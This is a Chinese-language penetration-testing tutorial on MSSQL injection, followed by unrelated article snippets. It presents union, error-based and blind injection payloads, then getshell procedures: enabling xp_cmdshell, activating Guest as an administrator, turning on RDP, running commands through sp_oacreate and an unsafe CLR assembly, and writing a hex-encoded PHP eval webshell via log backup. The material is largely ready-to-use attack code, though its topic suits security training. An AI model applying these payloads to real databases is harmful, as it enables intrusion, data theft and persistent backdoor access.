网络安全进阶学习第十四课——MSSQL注入
文章目录
- 一、MSsql数据库
- 二、MSsql结构
- 三、MSsql重点表
- 1、master 数据库中的Sysdatabases 表
- 2、Sysobjects 表
- 3、Syscolumns 表
- 四、Mssql常用函数
- 五、Mssql的报错注入
- 六、Mssql的盲注
- 常用以下函数进行盲注:
- 七、联合注入
- 1、获取当前表的列数
- 2、获取当前数据库名
- 3、获取表名
- 4、获取表id
- 5、获取表字段名
- 6、获取manage表中username字段的数据
- 八、注入流程
- 1、判断权限
- 2、获取当前数据库
- 3、获取当前数据库内的所有数据表
- 4、获取当前数据库内的指定数据表的所有字段
- 5、取指定数据库内的表数据内容
- 九、getshell
- 1、mssql权限
- 2、SA权限开启xp_cmdshell 获取主机权限
- 1)判断xp_cmdshell 是否打开
- 2)然后通过上述的execute步骤,将xp_cmdshell开启
- 3、SA权限使用sp_oacreate 执行系统命令
- 1)下面的命令可以查看sp_oacreate 是否被允许:
- 2)开启sp_oacreate
- 3)执行添加用户命令 进行测试
- 4、SA权限使用CLR 执行系统命令
- 创建CLR有两种方式:
- 启用CLR功能
- 5、DB_owner权限 LOG备份Getshell
- 1)sql server常见的备份策略
- 2)利用前提
- 3)注入代码
- 6、综述
一、MSsql数据库
强类型数据库,会把数字和字符严格区分的。
二、MSsql结构
有四个默认的数据库:
- 1、master
(重点)
保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。 - 2、model
模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名。 - 3、msdb
代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。 - 4、tempdb
暂时存储数据的,用于存储系统运行过程中临时产生的数据,例如用户定义的表、索引等。
三、MSsql重点表
1、master 数据库中的Sysdatabases 表
Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名,主要字段有:name (数据库名)
2、Sysobjects 表
所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。该表存放着当前数据库所有的表名(类似MySQL中information_schema数据库中的tables表)。主要字段有:name(表名)、id(表 ID)、xtype(创建的对象)。
当 xtype='U',代表是用户建立的表。
- 和MySQL的数据库路径方法有区别:
Mysql:information_schema.tables
Mssql:master.dbo.sysobjects
3、Syscolumns 表
所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。
该表存放着当前数据库所有的字段名。主要字段有:name(分别是字段名称)、id(表 ID)。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。
四、Mssql常用函数
| 函数 | 函数作用 |
|---|---|
| db name() | 返回当前数据库的名称 |
| host_name() | 返回计算机名称 |
| current_user | 返回当前数据库的用户名 |
| user | 数据库用户 |
| substring() | 字符串截取函数 |
| @@version | 查看数据库版本 |
| char() | ASCII 转字符函数 |
| cast(text as type()) | 字符类型转换,如果转换失败会将 text 结果报错显示在页面上 |
| object_id() | 根据表名返回数据库表名 ID |
| object_name() | 根据 ID 返回数据库表名 |
| col_name(object_id,column_id) 举例:Col_name(object_id(‘users’),2) | 返回指定表中指定字段(列)的名称 |
五、Mssql的报错注入
由于Mssql是强类型数据库,一旦数据类型不匹配就会报错。这时我们就可以利用四则运算,让整型数据和字符型数据之间来进行运算,例如1+user。
举例POC:'or 1=convert(int,@@version)--
六、Mssql的盲注
跟mysql差不多,区别在于使用的函数不同。
常用以下函数进行盲注:
-
1、patindex(pattern,string)
#返回某个字符或正则在某个字符串中第一次出现的位置 -
2、replace(string,substring1,substring2)
#将字符串中出现的某个子串替换成另一个字符串,就是将在string中出现的substring1替换成substring2。
举例:replace(‘1-a 2-b’,’-’, ’:’),返回结果是:1:a 2:b -
3、replicate(string,n)
#指定的次数复制字符串
举例:replicate(‘abc’,3),返回结果是:abcabcabc -
4、stuff(string,pos,delete_length,insertstring)
#先删除字符串中的一个字串,再插入一个新的子串作为替换
举例:stuff(‘xyz’,2,1,’abc’),返回结果是:xabcz -
5、upper(string)和lower(string)
#将字符串转换成大写或小写 -
6、rtrim(string)和ltrim(string)
#删除字符串中的尾随空格或前导空格 -
7、charindex(expression1 , expression2 , [ start_location ])
#返回字符串中指定表达式的起始位置,若查询到就返回位置,若没有查询到就返回false。另外,charindex的参数不区分大小写。
七、联合注入
1、获取当前表的列数
id=-1 order by 4--+
4不报错,5报错
2、获取当前数据库名
id=-1 union all select 1,2,db_name(),4--+
这里返回:mozhe_db
3、获取表名
id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+
这里返回:manage
假如要获取下一个表可以使用老方法,直接再where后面添加:and name !=’manage’,就可以弹出下一个表名
4、获取表id
id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+
这里返回:5575058
5、获取表字段名
id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+
这里返回:username
假如要获取下一个字段名可以使用老方法,直接在where后面添加:and name !=’ username’,就可以弹出下一个字段名
6、获取manage表中username字段的数据
id=-1 union all select top 1 1,2, username ,4 from manage --+
这里返回:admin_mz
假如要获取下一个数据可以使用老方法,直接在后面添加:where username !=’ admin_mz’,就可以弹出下一个字段名
八、注入流程
1、判断权限
如果页面回显正常则为正确,否则报错。举例POC:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) –
2、获取当前数据库
and 1=(select db_name()) –
3、获取当前数据库内的所有数据表
and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype=‘U’ FOR XML PATH(‘’))) –
注意:
convert函数是强制转数据类型的。
Quotename函数的主要作用就是在存储过程中,给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。
FOR XML PATH 是将查询结果集以XML形式展现,将多行的结果,展示在同一行。
4、获取当前数据库内的指定数据表的所有字段
and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(‘’)) –
5、取指定数据库内的表数据内容
and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))–
九、getshell
1、mssql权限
- sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限
- db权限:文件管理,数据库操作等 users-administrators
- public权限:数据库操作 guest-users
2、SA权限开启xp_cmdshell 获取主机权限
1)判断xp_cmdshell 是否打开
select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'

返回1是打开;返回0是关闭
- 如果xp_cmdshell权限没有开启,我们可以执行下面命令开启,下面四步,使xp——cmdshell开启
execute('sp_configure "show advanced options",1') #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令
- 或者:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
exec sp_configure;
exec xp_cmdshell 'whoami';
- 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
-
execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1

-
execute(‘reconfigure’) #保存设置

-
虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止

2)然后通过上述的execute步骤,将xp_cmdshell开启

3、SA权限使用sp_oacreate 执行系统命令
使用sp_oacreate的前提:sql server数据服务未降权
我们可以借助sql server中的com组件sp_oacreate来执行系统命令。
1)下面的命令可以查看sp_oacreate 是否被允许:
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'whoami'

2)开启sp_oacreate
EXEC sp_configure 'show advanced options', 1;
//类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

由此可以看出,sp_oacreate 命令无回显
3)执行添加用户命令 进行测试
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'
--上面sql server语言固定,最后一行是执行的系统命令
4、SA权限使用CLR 执行系统命令
创建CLR有两种方式:
- 使用DLL文件进行创建
- 使用文件16进制流进行创建
启用CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
如果存在权限问题,执行下面命令
alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
导入程序集CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo] FROM 十六进制数据
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
5、DB_owner权限 LOG备份Getshell
无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马
1)sql server常见的备份策略
- 每周一次完整备份
- 每天一次差异备份
- 每小时一次事务备份
2)利用前提
- 目标机器存在
数据库备份文件。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式 - 知道网站的绝对路径
- 支持堆叠注入
3)注入代码
alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式
create table cmd (a image); #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);
#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件
drop table cmd; #删除cmd表
6、综述
利用日志备份,类似于mysql的在日志中写入一句话木马。
修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径
在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表
相关文章:
网络安全进阶学习第十四课——MSSQL注入
文章目录 一、MSsql数据库二、MSsql结构三、MSsql重点表1、master 数据库中的Sysdatabases 表2、Sysobjects 表3、Syscolumns 表 四、Mssql常用函数五、Mssql的报错注入六、Mssql的盲注常用以下函数进行盲注: 七、联合注入1、获取当前表的列数2、获取当前数据库名3、…...
【C语言】初阶结构体
🎈个人主页:库库的里昂 🎐CSDN新晋作者 🎉欢迎 👍点赞✍评论⭐收藏 ✨收录专栏:C语言初阶 ✨其他专栏:代码小游戏 🤝希望作者的文章能对你有所帮助,有不足的地方请在评论…...
24届近5年南京理工大学自动化考研院校分析
今天学长给大家带来的是南京理工大学控制考研分析 满满干货~还不快快点赞收藏 一、南京理工大学 学校简介 南京理工大学是隶属于工业和信息化部的全国重点大学,学校由创建于1953年的新中国军工科技最高学府——中国人民解放军军事工程学院…...
5.PyCharm基础使用及快捷键
在前几篇文章中介绍了PyCharm的安装和汉化,本篇文章一起来看一下PyCharm的基本用法和一些快捷键的使用方法。 本篇文章PyCharm的版本为PyCharm2023.2 新建项目和运行 打开工具,在菜单中——文件——新建项目 选择项目的创建位置(注意最好不要使用中文路径和中文名项目名称…...
RabbitMQ的安装
RabbitMQ的安装 1、Windows环境下的RabbitMQ安装步骤 使用的版本:otp_win64_23.2 rabbitmq-server-3.8.16 版本说明:https://www.rabbitmq.com/which-erlang.html#compatibility-matrix 1.1 下载并安装erlang RabbitMQ 服务端代码是使用并发式语言…...
GPU版PyTorch对应安装教程
一、正确安装符合自己电脑的对应GPU版本的PyTorch之前需要了解三个基本概念 算力、CUDA driver version、CUDA runtime version ①算力:需要先知道你的显卡,之后根据官网表格进行对应,得到算力 ②CUDA driver version:电脑上显卡…...
医学影像PACS临床信息系统源码
医学影像临床信息系统(Picture Archiving and Communication Systems)PACS是指从医疗影像设备中获得数字影像,利用高速网络进行存储、管理、传输的医疗影像信息管理系统。通过该系统,能实现影像数字化、无胶片化管理。 登记系统 …...
Python(Web时代)——jinja2模板
简介 Jinja2是Flask框架默认支持的模板引擎,是python的web项目中被广泛应用的一种模板引擎,jinja2的作者与Flask是同一个人。 jinja2具有以下特点: 非常灵活,提供了控制结构、表达式与继承等 性能好 可读性强 渲染一个模板&a…...
酷开系统 | 酷开科技,让数据变得更有价值!
身处信息时代,我们每个人时刻都在生成、传递和应用数据,数据已经成为了现代社会中宝贵的资源之一,而在人工智能领域,数据更是被称为人工智能的“燃料”。 而在AI的发展中,只有拥有高质量、多样性且充分代表性的数据集…...
uni——tab切换
案例展示 案例代码 <view class"tablist"><block v-for"(item,index) in tabList" :key"index"><view class"tabItem" :class"current item.id?active:" click"changeTab(item)">{{item.nam…...
类图的6种关系和golang应用
文章目录 1. 依赖和关联1.1 依赖(Dependency)概念类图示例代码示例 1.2 关联(Association)概念类图示例代码示例 2. 组合和聚合(特殊的关联关系)2.1 聚合(Aggregation)概念类图示例代…...
Linux tar 备忘清单
tar 备忘清单 语法选项创建一个 tar 格式的压缩文件创建压缩后的 tar.gz 存档文件生成压缩率更高的 tar.bz2 文件解压缩 tar 文件解压缩 tar.gz 文件解压缩 tar.bz2 文件列出归档内容从 tar 归档文件中提取单个文件从 tar 归档文件中提取多个文件使用通配符提取文件组添加文件或…...
76. 最小覆盖子串
题目链接:力扣 解题思路:滑动窗口 因为只需要最小子串中包含t中的所有字符即可,顺序不重要,所以可以先统计一下 t 中每个字符出现的次数,使用map进行统计: key表示t中的字符,value表示字符的个…...
科兴未来|2023“数智未来,聚放神采”医疗科技创新挑战赛
一、赛事亮点 聚焦前沿神经科学与脑科学领域 展示优质创新产品、技术、平台与服务 汇聚学术端、产业端、投资端多维专业视角 搭建合作交流、产业赋能与生态融合平台 共话行业发展方向与动态趋势 二、赛事简介 2023医疗科技创新挑战赛聚焦于神经科学及脑科学领域的前沿技…...
第56步 深度学习图像识别:CNN梯度权重类激活映射(TensorFlow)
基于WIN10的64位系统演示 一、写在前面 类激活映射(Class Activation Mapping,CAM)和梯度权重类激活映射(Gradient-weighted Class Activation Mapping,Grad-CAM)是两种可视化深度学习模型决策过程的技术…...
云道资本:2023中国氢能源产业-氢制备深度研究报告(附下载)
关于报告的所有内容,公众【营销人星球】获取下载查看 核心观点 中国可再生能源消纳能力提升远远滞后于发电占比的提升。大规模的可再生能源发电是实现碳中和的关键一步,但风电、光伏发电间歌性、波动性强,电网消纳压力较大,且电…...
java文件
一.File类 二.扫描指定目录,并找到名称中包含指定字符的所有普通文件(不包含目录),并且后续询问用户是否要删除该文件 我的代码: import java.io.File; import java.io.IOException; import java.util.Scanner;public class Tes…...
pyqt5 如何终止正在执行的线程?
在 PyQt5 中终止正在执行的线程,可以通过一些协调的方法来实现。一般情况下,直接强行终止线程是不安全的,可能会导致资源泄漏或者程序异常。相反,我们可以使用一种协作的方式,通知线程在合适的时候自行退出。 以下是一…...
力扣第357场周赛补题
6925. 故障键盘 - 力扣(LeetCode) 思路:模拟 class Solution { public:string finalString(string s) {string res;for(auto c : s){if(c i) reverse(res.begin(), res.end());else res c;}return res;} }; 6953. 判断是否能拆分数组 - 力…...
Keras指定model.fit()的输出
model.fit()当verbose1的时候会打印出所有指标和loss, 在多输出的情况下更是一团乱麻. 下面是一个可以指定每个epoch训练完的输入指标的方法: from keras.callbacks import Callback# Custom callback to display loss only at the end of each epoch class LossCallback(Call…...
langchain4j 学习系列(9)-AIService与可观测性
一、基本用法1.1 定义业务接口View Code注:{{it}}是langchain4j内部约定的默认占位符名。当只有1个参数时,{{it}}在运行时,会自动替换成用户的prompt. 当然也可以强制指定参数名,就本示例而言,注释的二种写法ÿ…...
从零到开张:在本地虚拟机搭建yshop-drink点餐系统,模拟真实小店运营环境
从零到开张:在本地虚拟机搭建yshop-drink点餐系统,模拟真实小店运营环境 想象一下,你刚租下一间临街小铺,准备开一家奶茶店。装修完毕,设备到位,现在只差一个能让顾客自助下单的点餐系统。市面上的SaaS服务…...
AI赋能编辑器:借助快马为Notepad++理念添加智能编程助手
今天想和大家分享一个有趣的实践:如何为传统代码编辑器(比如Notepad)注入AI能力。虽然Notepad本身轻量高效,但缺乏现代智能辅助功能。通过结合InsCode(快马)平台的AI能力,我们可以轻松实现智能补全、错误检查和代码优化…...
如何突破教育资源壁垒?智能解析工具让电子课本获取效率提升200%
如何突破教育资源壁垒?智能解析工具让电子课本获取效率提升200% 【免费下载链接】tchMaterial-parser 国家中小学智慧教育平台 电子课本下载工具,帮助您从智慧教育平台中获取电子课本的 PDF 文件网址并进行下载,让您更方便地获取课本内容。 …...
避坑指南:OpenBMI运动想象实验中的‘跨被试’与‘不跨被试’到底怎么选?
避坑指南:OpenBMI运动想象实验中的‘跨被试’与‘不跨被试’到底怎么选? 当你第一次接触OpenBMI工具箱进行运动想象(Motor Imagery, MI)实验时,最令人困惑的决策之一就是如何选择数据划分策略。是采用**跨被试…...
医疗AI智能体:从数据到关怀人文设计:告别冰冷精准,构建有温度的诊疗交互.131
一、智能体的人文设计医疗AI智能体以大模型为核心,串联医学知识图谱、实体识别模块、风险评估模块、话术生成模块、伦理审核模块五大核心组件,最终实现精准医学判断 人性化交互的双重目标。而在医疗场景中,用户的核心需求从来不是单纯的数据…...
DFRDisplayKm 实用指南:Apple Touch Bar Windows支持常见问题全解析
DFRDisplayKm 实用指南:Apple Touch Bar Windows支持常见问题全解析 【免费下载链接】DFRDisplayKm Windows infrastructure support for Apple DFR (Touch Bar) 项目地址: https://gitcode.com/gh_mirrors/df/DFRDisplayKm DFRDisplayKm 是一款专为 Windows…...
从一篇TIE论文的稳定性分析入手,手把手复现Bode图判据的MATLAB实现
从TIE论文案例到MATLAB实践:Bode图判据的稳定性分析全解析 在电力电子系统设计中,LCL型并网逆变器的稳定性分析一直是工程师面临的挑战。2015年发表在IEEE Transactions on Industrial Electronics上的那篇经典论文,为我们提供了一个绝佳的研…...
Proteus仿真实战:基于STM32的智能环境感知与联动控制系统(附源码)
1. 项目背景与核心功能 想象一下这样的场景:当你走进书房时,灯光自动亮起;当室内温度过高时,空调自动开启;当光线不足时,窗帘缓缓拉开。这些看似科幻的场景,其实用STM32单片机和Proteus仿真就能…...
用LED条形图可视化74HC154译码效果:STC89C52项目入门指南
用LED条形图可视化74HC154译码效果:STC89C52项目入门指南 第一次接触单片机时,看到那些闪烁的LED灯总让人充满好奇——它们是怎么按照我们的想法亮起来的?今天我们就用STC89C52单片机和74HC154译码器,亲手搭建一个会"跳舞&q…...
